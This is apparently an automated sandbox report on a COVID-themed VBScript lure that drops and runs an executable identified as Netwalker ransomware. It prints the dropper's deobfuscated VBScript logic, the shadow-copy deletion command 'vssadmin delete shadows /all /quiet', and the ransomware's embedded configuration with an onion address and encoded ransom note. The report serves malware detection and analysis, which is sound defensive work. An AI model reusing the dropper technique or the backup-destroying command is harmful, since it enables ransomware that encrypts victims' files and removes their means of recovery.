Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\Program Files (x86)\AutoIt3\Include\GuiTreeView.au3 entropy: 7.99524549325	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\Program Files (x86)\AutoIt3\Include\Array.au3 entropy: 7.99563928777	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\Program Files (x86)\AutoIt3\Include\APIErrorsConstants.au3 entropy: 7.99595363557	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\Program Files (x86)\AutoIt3\Include\GuiToolbar.au3 entropy: 7.99483060331	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\Program Files (x86)\AutoIt3\Include\Misc.au3 entropy: 7.99003480004	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\Program Files (x86)\AutoIt3\Include\NetShare.au3 entropy: 7.99079701727	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\Program Files (x86)\AutoIt3\Include\GuiRichEdit.au3 entropy: 7.99537140624	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\Program Files (x86)\AutoIt3\Include\WinAPIFiles.au3 entropy: 7.99538566422	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\Program Files (x86)\AutoIt3\Include\NTSTATUSConstants.au3 entropy: 7.99680981932	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\Program Files (x86)\Microsoft Office\Office16\OSPP.VBS entropy: 7.99487655592	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\Program Files (x86)\Microsoft Office\Office16\OSPP.HTM entropy: 7.99271754146	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\Program Files (x86)\AutoIt3\Include\WinAPISys.au3 entropy: 7.99538437408	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\Program Files (x86)\AutoIt3\Include\WindowsConstants.au3 entropy: 7.99033845378	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\Program Files (x86)\AutoIt3\Include\WinAPILocale.au3 entropy: 7.9900245833	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.Assembly.xml entropy: 7.99039775943	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX.chm entropy: 7.99571471216	Jump to dropped file

System Summary:

Contains functionality to call native functions

Show sources

Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Code function: 2_2_0040DC10 NtSetInformationFile,	2_2_0040DC10
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Code function: 2_2_0040DCD0 NtSetInformationFile,	2_2_0040DCD0
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Code function: 2_2_0040E8B0 NtDuplicateObject,NtClose,NtClose,	2_2_0040E8B0
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Code function: 2_2_0040D310 NtQuerySystemInformation,	2_2_0040D310
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Code function: 2_2_0040EBC0 NtCreateSection,NtMapViewOfSection,NtUnmapViewOfSection,NtClose,	2_2_0040EBC0

Detected potential crypto function

Show sources

Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Code function: 2_2_00407820	2_2_00407820
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Code function: 2_2_00405A90	2_2_00405A90
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Code function: 2_2_00405950	2_2_00405950
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Code function: 2_2_0040B560	2_2_0040B560
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Code function: 2_2_0040AF70	2_2_0040AF70
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Code function: 2_2_0040AB00	2_2_0040AB00
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Code function: 2_2_0040B180	2_2_0040B180

Java / VBScript file with very long strings (likely obfuscated code)

Show sources

Source: CORONAVIRUS_COVID-19.vbs

Initial sample: Strings found which are bigger than 50

Binary contains paths to development resources

Show sources

Source: qeSw.exe, 00000002.00000002.1480282014.000000000252A000.00000004.00000001.sdmp

Binary or memory string: C:\Program Files (x86)\autoit3\AutoItX\Examples\C++\utoItX.sln

Classification label

Show sources

Source: classification engine

Classification label: mal100.rans.spre.evad.winVBS@6/226@0/0

Contains functionality to adjust token privileges (e.g. debug / backup)

Show sources

Source: C:\Users\user\AppData\Local\Temp\qeSw.exe

Code function: 2_2_0040D5E0 LookupPrivilegeValueW,AdjustTokenPrivileges,

2_2_0040D5E0

Creates files inside the program directory

Show sources

Source: C:\Users\user\AppData\Local\Temp\qeSw.exe

File created: C:\Program Files (x86)\autoit3\E3495D-Readme.txt

Jump to behavior

Creates mutexes

Show sources

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3708:120:WilError_01

Creates temporary files

Show sources

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Temp\qeSw.exe

Jump to behavior

Executes visual basic scripts

Show sources

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\CORONAVIRUS_COVID-19.vbs'

Queries a list of all open handles

Show sources

Source: C:\Users\user\AppData\Local\Temp\qeSw.exe

System information queried: HandleInformation

Jump to behavior

Reads software policies

Show sources

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Sample is known by Antivirus

Show sources

Source: CORONAVIRUS_COVID-19.vbs

Virustotal: Detection: 11%

Spawns processes

Show sources

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\CORONAVIRUS_COVID-19.vbs'
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\qeSw.exe C:\Users\user\AppData\Local\Temp\qeSw.exe
Source: unknown	Process created: C:\Windows\System32\vssadmin.exe C:\Windows\system32\vssadmin.exe delete shadows /all /quiet
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\Temp\qeSw.exe C:\Users\user\AppData\Local\Temp\qeSw.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Process created: C:\Windows\System32\vssadmin.exe C:\Windows\system32\vssadmin.exe delete shadows /all /quiet	Jump to behavior

Uses an in-process (OLE) Automation server

Show sources

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Creates a directory in C:\Program Files

Show sources

Source: C:\Users\user\AppData\Local\Temp\qeSw.exe

Directory created: C:\Program Files\7-Zip\E3495D-Readme.txt

Jump to behavior

Binary contains paths to debug symbols

Show sources

Source:	Binary string: SecurityHealthAgent.pdbHeal source: qeSw.exe, 00000002.00000002.1483070995.0000000002BEE000.00000004.00000001.sdmp
Source:	Binary string: WscApi.pdbl source: qeSw.exe, 00000002.00000002.1483070995.0000000002BEE000.00000004.00000001.sdmp
Source:	Binary string: wscsvc.pdbl source: qeSw.exe, 00000002.00000002.1483070995.0000000002BEE000.00000004.00000001.sdmp
Source:	Binary string: shellext.pdbhServic source: qeSw.exe, 00000002.00000002.1483380682.0000000002CCA000.00000004.00000001.sdmp
Source:	Binary string: WscApi.pdb source: qeSw.exe, 00000002.00000002.1483070995.0000000002BEE000.00000004.00000001.sdmp
Source:	Binary string: wscui.pdbdb source: qeSw.exe, 00000002.00000002.1483070995.0000000002BEE000.00000004.00000001.sdmp
Source:	Binary string: SecurityHealthService.pdb source: qeSw.exe, 00000002.00000002.1483070995.0000000002BEE000.00000004.00000001.sdmp
Source:	Binary string: WscIsvIf.pdbityCent source: qeSw.exe, 00000002.00000002.1483070995.0000000002BEE000.00000004.00000001.sdmp
Source:	Binary string: shellext.pdb source: qeSw.exe, 00000002.00000002.1483070995.0000000002BEE000.00000004.00000001.sdmp
Source:	Binary string: WscIsvIf.pdb source: qeSw.exe, 00000002.00000002.1483070995.0000000002BEE000.00000004.00000001.sdmp
Source:	Binary string: SecurityHealthSSO.pdb source: qeSw.exe, 00000002.00000002.1483070995.0000000002BEE000.00000004.00000001.sdmp
Source:	Binary string: SecurityCenterBroker.pdb source: qeSw.exe, 00000002.00000002.1483070995.0000000002BEE000.00000004.00000001.sdmp
Source:	Binary string: SecurityCenterBroker.pdbb. source: qeSw.exe, 00000002.00000002.1483070995.0000000002BEE000.00000004.00000001.sdmp
Source:	Binary string: SecurityHealthSSO.pdb.pdbc source: qeSw.exe, 00000002.00000002.1483070995.0000000002BEE000.00000004.00000001.sdmp
Source:	Binary string: wscsvc.pdb source: qeSw.exe, 00000002.00000002.1483070995.0000000002BEE000.00000004.00000001.sdmp
Source:	Binary string: wscui.pdb source: qeSw.exe, 00000002.00000002.1483070995.0000000002BEE000.00000004.00000001.sdmp
Source:	Binary string: SecurityHealthAgent.pdb source: qeSw.exe, 00000002.00000002.1483070995.0000000002BEE000.00000004.00000001.sdmp

Data Obfuscation:

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\AppData\Local\Temp\qeSw.exe

Unpacked PE file: 2.2.qeSw.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\AppData\Local\Temp\qeSw.exe

Unpacked PE file: 2.2.qeSw.exe.400000.0.unpack

VBScript performs obfuscated calls to suspicious functions

Show sources

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell")Set FSO = CreateObject("Scripting.FileSystemObject")Path = WshShell.ExpandEnvironmentStrings("%TEMP%") & "\Google.url"set oUrlLink = WshShell.CreateShortcut(Path)oUrlLink.TargetPath = "http://google.com"oUrlLink.Save(G)if (FSO.FileExists(Path)) Then WScript.Echo "Error!"elsexml = "Msxml2.DOMDocument"ws = "WScript.Shell"bin = "bin.base64"bs = "base64"db = "Adodb.Stream"Set wshs = createobject(ws)filepath = wshs.ExpandEnvironmentStrings("%TEMP%") & "\qeSw.exe"end ifFunction a(n) Dim i, j, abcabc = array("!","@","%",".","?","<",">","$","#",",") For i = 0 To 9n = replace(n, abc(i), "")Nexta = replace(n,"*","/")End FunctionSet oXML = CreateObject(xml)Set oNode = oXML.CreateElement(bs)oNode.dataType = binoNode.text = strreverse(a(code))Set BinaryStream = CreateObject(db)BinaryStream.Type = 1BinaryStream.OpenBinaryStream.Write oNode.nodeTypedValueBinaryStream.SaveToFile filepathwshs.Exec(filepath)'WshShell.Popup "This file might not be the right file type, or it might be corrupted!", 20, "Windows", 0 + 48IWshShell3.ExpandEnvironmentStrings("%TEMP%");IWshShell3.CreateShortcut("C:\Users\user\AppData\Local\Temp\Google.url");IWshURLShortcut.TargetPath("http://google.com");IWshURLShortcut.Save("Unsupported parameter type 00000000");IFileSystem3.FileExists("C:\Users\user\AppData\Local\Temp\Google.url");IWshShell3.ExpandEnvironmentStrings("%TEMP%");IXMLDOMNode._00000029("base64");IXMLDOMElement.dataType("bin.base64");IXMLDOMElement.text("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAFEBQjwAAAAAAAAAAOAADwELAQIAADoBAABQAwAAAAAAgDo");_Stream.Type("1");_Stream.Open();IXMLDOMElement.nodeTypedValue();_Stream.Write("Unsupported parameter type 00002011");_Stream.SaveToFile("C:\Users\user\AppData\Local\Temp\qeSw.exe");IWshShell3.Exec("C:\Users\user\AppData\Local\Temp\qeSw.exe")

PE file contains an invalid checksum

Show sources

Source: qeSw.exe.0.dr

Static PE information: real checksum: 0x4be47 should be: 0x52514

Uses code obfuscation techniques (call, push, ret)

Show sources

Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Code function: 2_2_0040D7E0 push ecx; mov dword ptr [esp], 00000000h	2_2_0040D7E1
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Code function: 2_2_007A57B0 push edx; ret	2_2_007A593E
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Code function: 2_2_00785D51 push es; iretd	2_2_00785D5D
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Code function: 2_2_0078550A push ebp; ret	2_2_00785538
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Code function: 2_2_0078073D push 00000000h; ret	2_2_00780748
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Code function: 2_2_00785F0D push esp; ret	2_2_00785F13

Persistence and Installation Behavior:

Infects executable files (exe, dll, sys, html)

Show sources

Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	System file written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\ReadMe.htm			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	System file written: C:\Program Files (x86)\Microsoft Office\Office16\OSPP.HTM			Jump to behavior

Drops PE files

Show sources

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Temp\qeSw.exe

Jump to dropped file

Creates license or readme file

Show sources

Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\Program Files (x86)\autoit3\E3495D-Readme.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\Program Files (x86)\microsoft office\E3495D-Readme.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\Program Files\7-Zip\E3495D-Readme.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\ProgramData\E3495D-Readme.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\Program Files (x86)\free window registry repair\E3495D-Readme.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\Program Files (x86)\autoit3\Examples\E3495D-Readme.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\Program Files (x86)\adobe\Acrobat Reader DC\E3495D-Readme.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\Program Files (x86)\autoit3\Extras\E3495D-Readme.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\Program Files (x86)\autoit3\Examples\GUI\E3495D-Readme.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\Program Files (x86)\microsoft office\Office16\E3495D-Readme.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\Program Files (x86)\autoit3\AutoItX\E3495D-Readme.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\ProgramData\regid.1991-06.com.microsoft\E3495D-Readme.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\Program Files (x86)\autoit3\Examples\Helpfile\E3495D-Readme.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	File created: C:\Program Files (x86)\common files\DESIGNER\E3495D-Readme.txt	Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Disables application error messsages (SetErrorMode)

Show sources

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\qeSw.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Found evasive API chain (may stop execution after checking computer name)

Show sources

Source: C:\Users\user\AppData\Local\Temp\qeSw.exe

Evasive API call chain: GetComputerName,DecisionNodes,Sleep

graph_2-8408

Found evasive API chain (may stop execution after checking system information)

Show sources

Source: C:\Users\user\AppData\Local\Temp\qeSw.exe

Evasive API call chain: NtQuerySystemInformation,DecisionNodes,Sleep

graph_2-7471

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Show sources

Source: C:\Users\user\AppData\Local\Temp\qeSw.exe

Evasive API call chain: GetPEB, DecisionNodes, Sleep

graph_2-8231

Found WSH timer for Javascript or VBS script (likely evasive script)

Show sources

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

May sleep (evasive loops) to hinder dynamic analysis

Show sources

Source: C:\Users\user\AppData\Local\Temp\qeSw.exe TID: 5724

Thread sleep time: -300000s >= -30000s

Jump to behavior

Sample execution stops while process was sleeping (likely an evasion)

Show sources

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Contains functionality to enumerate / list files inside a directory

Show sources

Source: C:\Users\user\AppData\Local\Temp\qeSw.exe

Code function: 2_2_0040BFC0 FindFirstFileW,FindNextFileW,

2_2_0040BFC0

Contains functionality to query local drives

Show sources

Source: C:\Users\user\AppData\Local\Temp\qeSw.exe

Code function: 2_2_0040D070 Sleep,SetErrorMode,GetLogicalDriveStringsW,GetLogicalDriveStringsW,GetDriveTypeW,

2_2_0040D070

May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)

Show sources

Source: qeSw.exe, 00000002.00000002.1477630740.0000000000800000.00000004.00000020.sdmp	Binary or memory string: :\program file\vmware
Source: qeSw.exe, 00000002.00000002.1477630740.0000000000800000.00000004.00000020.sdmp	Binary or memory string: +~C-{"mpk:"/fqCb2TTvBeb3VoL4lXa1fgDDn+sEO4+mBhIj9vrLEk=","mode:0,"spsz:15360,"thr:1000,"namesz:8,"idsz:6,"lfile:"{id}-Readme.txt,"onion:"rnfdsgm6wb6j6su5txkekw4u4y47kp2eatvu7d6xhyn5cs4lt4pdrqqd.onion,"lend:"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQgYnkgTmV0d2Fsa2VyLg0KQWxsIGVuY3J5cHRlZCBmaWxlcyBmb3IgdGhpcyBjb21wdXRlciBoYXMgZXh0ZW5zaW9uOiAue2lkfQ0KDQotLQ0KSWYgZm9yIHNvbWUgcmVhc29uIHlvdSByZWFkIHRoaXMgdGV4dCBiZWZvcmUgdGhlIGVuY3J5cHRpb24gZW5kZWQsDQp0aGlzIGNhbiBiZSB1bmRlcnN0b29kIGJ5IHRoZSBmYWN0IHRoYXQgdGhlIGNvbXB1dGVyIHNsb3dzIGRvd24sIA0KYW5kIHlvdXIgaGVhcnQgcmF0ZSBoYXMgaW5jcmVhc2VkIGR1ZSB0byB0aGUgYWJpbGl0eSB0byB0dXJuIGl0IG9mZiwNCnRoZW4gd2UgcmVjb21tZW5kIHRoYXQgeW91IG1vdmUgYXdheSBmcm9tIHRoZSBjb21wdXRlciBhbmQgYWNjZXB0IHRoYXQgeW91IGhhdmUgYmVlbiBjb21wcm9taXNlZC4NClJlYm9vdGluZy9zaHV0ZG93biB3aWxsIGNhdXNlIHlvdSB0byBsb3NlIGZpbGVzIHdpdGhvdXQgdGhlIHBvc3NpYmlsaXR5IG9mIHJlY292ZXJ5Lg0KDQotLQ0KT3VyICBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCANCnRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KDQpEbyBub3QgdHJ5IHRvIHJlY292ZXIgeW91ciBmaWxlcyB3aXRob3V0IGEgZGVjcnlwdGVyIHByb2dyYW0sIHlvdSBtYXkgZGFtYWdlIHRoZW0gYW5kIHRoZW4gdGhleSB3aWxsIGJlIGltcG9zc2libGUgdG8gcmVjb3Zlci4NCg0KRm9yIHVzIHRoaXMgaXMganVzdCBidXNpbmVzcyBhbmQgdG8gcHJvdmUgdG8geW91IG91ciBzZXJpb3VzbmVzcywgd2Ugd2lsbCBkZWNyeXB0IHlvdSBvbmUgZmlsZSBmb3IgZnJlZS4NCkp1c3Qgb3BlbiBvdXIgd2Vic2l0ZSwgdXBsb2FkIHRoZSBlbmNyeXB0ZWQgZmlsZSBhbmQgZ2V0IHRoZSBkZWNyeXB0ZWQgZmlsZSBmb3IgZnJlZS4NCg0KLS0NCg0KU3RlcHMgdG8gZ2V0IGFjY2VzcyBvbiBvdXIgd2Vic2l0ZToNCg0KMS5Eb3dubG9hZCBhbmQgaW5zdGFsbCB0b3ItYnJvd3NlcjogaHR0cHM6Ly90b3Jwcm9qZWN0Lm9yZy8NCg0KMi5PcGVuIG91ciB3ZWJzaXRlOiB7b25pb259DQoNCjMuUHV0IHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgaW5wdXQgZm9ybToNCg0Ke2NvZGV9,"white:{"path:["system volume information,"windows.old,":\users\\tempmp","msocache,":\winnt","$windows.~ws,"perflogs,"boot,":\windows",":\program file\vmwaree","\\\users\\temptemp","\\\winntnt","\\\windowsws","\program file\vmwaree","appdatamicrosoft,"appdatapackages,"microsoft\provisioning","dvd maker,"Internet Explorer,"Mozilla,"Mozilla,"Old Firefox data,"\program file\windows media","\program file\windows portable","windows defender,"\program file\windows ntt","\program file\windows photo*","\program file\windows side","\program file\windowspowershelll","\program file\cuass","\program file\microsoft gamess","\program file\common files\systemem","\program file\common files\shareded","\program file\common files\reference asss","\windows\cache","temporary internet,"media player,":\users\\appdata\\microsoftsoft","\\\users\\appdata\\microsoftrosoft"],"file:["ntuser.dat,"iconcache.db,"gdipfont.dat,"ntuser.ini,"usrclass.dat,"usrclass.dat*,"boot.ini,"bootmgr,"bootnxt,"desktop.ini,"ntuser.dat,"autorun.inf,"ntldr,"thumbs.db,"bootsect.bak,"bootfont.bin],"ext:["msp,"exe,"sys,"msc,"mod,"clb,"mui,"regt
Source: qeSw.exe, 00000002.00000002.1477630740.0000000000800000.00000004.00000020.sdmp	Binary or memory string: ws","\program file\vmware
Source: qeSw.exe, 00000002.00000002.1477630740.0000000000800000.00000004.00000020.sdmp	Binary or memory string: \program file\vmware
Source: qeSw.exe, 00000002.00000002.1477630740.0000000000800000.00000004.00000020.sdmp	Binary or memory string: ",":\program file\vmware

Queries a list of all running processes

Show sources

Source: C:\Users\user\AppData\Local\Temp\qeSw.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging:

Found API chain indicative of debugger detection

Show sources

Source: C:\Users\user\AppData\Local\Temp\qeSw.exe

Debugger detection routine: NtQueryInformationProcess or NtQuerySystemInformation, DecisionNodes, ExitProcess or Sleep

graph_2-7471

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Show sources

Source: C:\Users\user\AppData\Local\Temp\qeSw.exe

Code function: 2_2_00401250 RtlInitUnicodeString,LdrLoadDll,RtlInitUnicodeString,LdrLoadDll,RtlInitUnicodeString,LdrLoadDll,LdrLoadDll,RtlInitUnicodeString,LdrLoadDll,RtlInitUnicodeString,LdrLoadDll,LdrLoadDll,RtlInitUnicodeString,LdrLoadDll,RtlInitUnicodeString,LdrLoadDll,LdrLoadDll,RtlInitUnicodeString,LdrLoadDll,LdrLoadDll,

2_2_00401250

Contains functionality to read the PEB

Show sources

Source: C:\Users\user\AppData\Local\Temp\qeSw.exe

Code function: 2_2_0040D380 mov eax, dword ptr fs:[00000030h]

2_2_0040D380

Creates guard pages, often used to prevent reverse engineering and debugging

Show sources

Source: C:\Users\user\AppData\Local\Temp\qeSw.exe

Memory protected: page execute read | page execute and read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Benign windows process drops PE files

Show sources

Source: C:\Windows\System32\wscript.exe

File created: qeSw.exe.0.dr

Jump to dropped file

Creates a process in suspended mode (likely to inject code)

Show sources

Source: C:\Windows\System32\wscript.exe

Process created: C:\Users\user\AppData\Local\Temp\qeSw.exe C:\Users\user\AppData\Local\Temp\qeSw.exe

Jump to behavior

May try to detect the Windows Explorer process (often used for injection)

Show sources

Source: qeSw.exe, 00000002.00000002.1477998321.0000000000C90000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: qeSw.exe, 00000002.00000002.1477998321.0000000000C90000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: qeSw.exe, 00000002.00000002.1477998321.0000000000C90000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: qeSw.exe, 00000002.00000002.1477998321.0000000000C90000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

Queries the cryptographic machine GUID

Show sources

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Malware Configuration

No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Simulations

Behavior and APIs

Time	Type	Description
09:00:54	API Interceptor	7x Sleep call for process: qeSw.exe modified

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
CORONAVIRUS_COVID-19.vbs	12%	Virustotal		Browse
CORONAVIRUS_COVID-19.vbs	2%	Metadefender		Browse
CORONAVIRUS_COVID-19.vbs	10%	ReversingLabs	Script-VBS.Trojan.Malscript

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\qeSw.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\qeSw.exe	72%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\qeSw.exe	71%	ReversingLabs	Win32.Trojan.Kryptik

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
2.1.qeSw.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen		Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://www.autoit.de/index.php?page=Thread&postID=48393	0%	Virustotal		Browse
http://www.autoit.de/index.php?page=Thread&postID=48393	0%	Avira URL Cloud	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
https://sectigo.com/CPS0B	0%	Virustotal		Browse
https://sectigo.com/CPS0B	0%	URL Reputation	safe
http://www.gwspikval.com/jooel/scripts/BBCodeParser/Older%20versions/2.0.1/BBCodeParser2.kix	0%	Virustotal		Browse
http://www.gwspikval.com/jooel/scripts/BBCodeParser/Older%20versions/2.0.1/BBCodeParser2.kix	0%	Avira URL Cloud	safe
http://crl.sectigo.com/COMODOTimeStampingCA_2.crl0r	0%	Virustotal		Browse
http://crl.sectigo.com/COMODOTimeStampingCA_2.crl0r	0%	URL Reputation	safe
http://schemas.mpv	0%	Avira URL Cloud	safe
http://crt.sectigo.com/COMODOTimeStampingCA_2.crt0#	0%	Virustotal		Browse
http://crt.sectigo.com/COMODOTimeStampingCA_2.crt0#	0%	URL Reputation	safe
http://cvs.sourceforge.jp/cgi-bin/viewcvs.cgi/ablib/ver5lib/Include/api_richedit.sbp?revision=1.2	0%	Virustotal		Browse
http://cvs.sourceforge.jp/cgi-bin/viewcvs.cgi/ablib/ver5lib/Include/api_richedit.sbp?revision=1.2	0%	Avira URL Cloud	safe

Yara Overview

Initial Sample

No yara matches

PCAP (Network Traffic)

No yara matches

Dropped Files

No yara matches

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: qeSw.exe PID: 244	JoeSecurity_Netwalker	Yara detected Netwalker ransomware	Joe Security

Unpacked PEs

No yara matches

Sigma Overview

No Sigma rule has matched

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report CORONAVIRUS_COVID-19.vbs

Overview

General Information

Detection

Confidence

Classification Spiderchart

Analysis Advice

Mitre Att&ck Matrix

Signature Overview

AV Detection:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Spam, unwanted Advertisements and Ransom Demands:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Malware Configuration

Behavior Graph

Simulations

Behavior and APIs

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Yara Overview

Initial Sample

PCAP (Network Traffic)

